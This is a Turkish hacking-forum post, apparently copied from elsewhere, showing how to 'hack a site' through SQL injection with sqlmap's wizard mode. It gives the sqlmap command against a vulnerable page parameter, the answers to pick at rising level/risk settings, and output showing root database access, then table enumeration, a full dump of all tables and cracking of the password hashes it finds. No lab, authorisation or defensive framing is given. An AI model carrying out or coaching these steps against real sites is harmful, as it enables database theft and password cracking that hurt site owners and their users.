Hoşgeldin Misafir

Sqlmap Wizard Sql İnjection Site Hackleme

WebKing

16 Mar 2020
12 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Bu Konuda Sqlmap Sihirbaz Anahtarı Komutu Olan Wizard ile Sql İnjection‘u göreceğiz.

Sqlmap Wizard Nedir Ne İşe Yarar?

Wizard Yeni başlayanlar için basit sihirbaz arayüzü görevi görmektedir.
Sqlmap‘a yeni giriş yapanlar için ideal bir komuttur.
Komutu girdiğinizde bütün işlemi sqlmap yapar komutu girene ise sadece sorularu cevaplamak kalır.

Terminal üzerinden sqlmap diyerek Sqlmap‘i açıyoruz.
1258d5c48685cc55c.png



Elimizde Sql açıklı bir site var.
Şu Şekilde Komut Giriyoruz;
sqlmap -u "site.com/news.php?id=1" --wizard

Bize aşağıdaki 2 Soruyu Sordu iki soru cevabı olarak 1‘i seçerek devam ediyoruz.
Injection difficulty (--level/--risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
gt; 1

Enumeration (--banner/--current-user/etc). Please choose:
[1] Basic (default)
[2] Intermediate
[3] All
gt; 1
Gördüğünüz Gibi İşlem Başladı;
4e590818a208000b6.png




Databaseye Başarıyla Girdik;
web application technology: Apache 2.4.41, PHP 7.4.1
back-end DBMS: MySQL gt;= 5.0.12
banner: ‘10.4.11-MariaDB‘
current user: ‘root@localhost‘
current database: ‘db_astronomy‘
current user is DBA: True


58e50c8988a975933.png



Tablo ve Kolon çekme İşlemine Geçelim;
yine aynı komutu giriyoruz.
sqlmap -u "site.com/news.php?id=1" --wizard
65cc8412246d641d2.png


bize yine aynı soruları soruyor.
14:47:06] [INFO] starting wizard interface
POST data (--data) [Enter for None]:
Injection difficulty (--level/--risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
gt; 2
Enumeration (--banner/--current-user/etc). Please choose:
[1] Basic (default)
[2] Intermediate
[3] All
gt; 2

2 Soruda cevap olarak 2 Seçeneğini Seçip Devam Ediyoruz.

65cc8412246d641d2.png



Gördüğünüz Gibi Tabloları verdi.
Birçok Tablo var bir kısmını Screenshot aldım.;


7.png

8.png



Tekrar Aynı Komutu Giriyoruz.
Bu Sefer Bütün Tabloların İçindeki verileri Dump edeceğiz.

sqlmap -u "site.com/news.php?id=1" --wizard

Bize Yine Aynı Soruları Sordu;
POST data (--data) [Enter for None]:
Injection difficulty (--level/--risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
gt; 3
Enumeration (--banner/--current-user/etc). Please choose:
[1] Basic (default)
[2] Intermediate
[3] All
gt; 3

2 Soruda cevap olarak 3 seçeneğini seçerek devam ediyoruz.

9.png


sqlmap is running, please wait..
İşlem Devam Ediyor;
10.png



Gördüğünüz Gibi Bize Datada bazı Parolalar buldu.
Sqlmap Bu Parolaları kendi datasındaki hash list ile kırmak için Bizden Onay İstiyor.;
11.png


12.png



Gördüğünüz Gibi Tabloları Dumpladı.
Aşırı Fazla Tablo olduğundan örnek olarak bir Dump Örneği Screenshot aldım.;
211.png
-


alıntıdır.-